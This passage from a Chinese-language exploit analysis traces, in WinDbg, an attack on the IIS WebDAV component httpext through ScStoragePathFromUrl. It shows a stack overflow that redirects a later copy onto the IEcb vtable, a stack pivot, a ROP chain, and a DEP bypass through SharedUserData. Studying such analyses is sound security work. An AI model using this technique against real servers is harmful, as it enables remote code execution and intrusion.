14

15

16

17

18

19

20

21

0:009> p

eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2

eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0x110:

67125436 50              push    eax

0:009> p

eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2

eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0x111:

67125437 ffb5d8fcffff    push    dword ptr [ebp-328h] ss:0023:00fff90c=680312c0

0:009> dc ebp-328

00fff90c  680312c0 52566c44 6c6d4b37 585a4f58  ...hDlVR7KmlXOZX

00fff91c  496a7950 4a52584f 664d4150 680313c0  PyjIOXRJPAMf...h

00fff92c  65314834 6e666f43 436c7441 680313c0  4H1eCofnAtlC...h

00fff93c  6a415343 33307052 424c5866 6346704b  CSAjRp03fXLBKpFc

0:009> dd 680312c0//要用到的堆地址,這個地址會在最後用到

680312c0  00000000 00000000 00000000 00000000

680312d0  00000000 00000000 00000000 00000000

680312e0  00000000 00000000 00000000 00000000


可以看到,第二次利用的時候,會把ebp-328這個地方的值推入棧中,這個地方應該是stack buffer的地址,應該是個棧地址,但是現在變成了堆地址,就是由於第一次棧溢位,覆蓋了這個變數。

而這個值,會作為引數傳入ScStorageFromUrl函式,作為memcpy拷貝的值。

這也就解釋了為什麼我們在上面分析漏洞的時候,會是向堆地址拷貝,而這一次拷貝,就不需要控制長度了,因為這個地方的值已經是堆地址,再怎麼覆蓋,也不會覆蓋到cookie。這裡未來要覆蓋IEcb虛表結構。從而達到漏洞利用。這樣,第二次向堆地址拷貝之後,這個堆地址會覆蓋到IEcb的虛表,這個虛表結構會在最後利用時引用到。

在PoC中,有一處<locktoken>,這個會觸發漏洞利用,是在CheckIfHeader之後到達位置,在CheckIfHeader的PszToken函式判斷沒有<>的http url之後,break掉,之後進入lock token處理。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

0:009> p

eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104

eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

httpext!ScStoragePathFromUrl+0x5:

67126c80 e803100000      call    httpext!_EH_prolog (67127c88)

0:009> kb

ChildEBP RetAddr  Args to Child              

00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5

00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18

00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath

+0x119

WARNING: Frame IP not in any known module. Following frames may be wrong.

00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150

00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125


這時候對應的IEcb已經被覆蓋,這樣,在進入ScStoragePathFromUrl函式之後,會進入我們在漏洞分析部分提到的CheckPrefixUrl函式,這個函式中有大量的IEcb虛表虛擬函式引用。
 

1

2

3

4

5

6

7

8

9

0:009> p

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStripAndCheckHttpPrefix+0x1e:

671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:680313e4=68016082

0:009> dc eax

680313c0  680313c0 68006e4f 68006e4f 766a4247  ...hOn.hOn.hGBjv

680313d0  680313c0 4f744257 52345947 4b424b66  ...hWBtOGY4RfKBK


和大家分享了這個精妙利用,一般可能都會覺得是第二次url bbbbb的這個memcpy覆蓋了關鍵函式導致的溢位、利用,實際上,在第一次url aaaaaa中,就已經引發了棧溢位,覆蓋到了stackbuffer申請的指向棧buffer的指標,這個指標存放在棧裡,用於後續呼叫存放虛擬路徑,由於第一次棧溢位,覆蓋到了這個變數導致第二次url bbbbb拷貝的時候,是向一個堆地址拷貝,這個堆地址後面的偏移中,存放著IEcb的vftable,通過覆蓋虛表虛擬函式,在最後locktoken觸發的ScStoragePathFromUrl中利用虛擬函式達到程式碼執行。

而這個過程,也是巧妙的繞過了GS的檢查

0x04 簡析ROP及shellcode

這個漏洞使用了一些非常有意思的手法,一個是TK教主在13年安全會議上提到的shareduserdata,在ROP中,另一個是alpha shellcode。

首先,在前面虛擬函式執行之後,會先進行stack pivot,隨後進入rop。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

0:009> t//stack pivot!!!

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!_alloca_probe+0x42:

68016082 8be1            mov     esp,ecx

0:009> p

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!_alloca_probe+0x44:

68016084 8b08            mov     ecx,dword ptr [eax]  ds:0023:680313c0=680313c0

0:009> p

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!_alloca_probe+0x46:

68016086 8b4004          mov     eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f

0:009> p

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!_alloca_probe+0x49:

68016089 50              push    eax

0:009> p//ROP Chain

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!_alloca_probe+0x4a:

6801608a c3              ret

0:009> p

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!CPEncrypt+0x3b:

68006e4f 5e              pop     esi

0:009> p

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0

eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!CPEncrypt+0x3c:

68006e50 5d              pop     ebp

0:009> p

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0

eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!CPEncrypt+0x3d:

68006e51 c22000          ret     20h

0:009> p

eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0

eip=68006e4f esp=680313ec ebp=68006e4f iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!CPEncrypt+0x3b:

68006e4f 5e              pop     esi


經過一系列ROP之後,會進入KiFastSystemCall,這是利用SharedUserData bypass DEP的一環。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

0:009> p

eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3

eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

rsaenh!HmacCheck+0x2c3:

680124e3 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}

0:009> p

eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3

eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!KiFastSystemCall:

7c8285e8 8bd4            mov     edx,esp

0:009> p

eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3

eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!KiFastSystemCall+0x2:

7c8285ea 0f34            sysenter

0:009> p

eax=00000000 ebx=7ff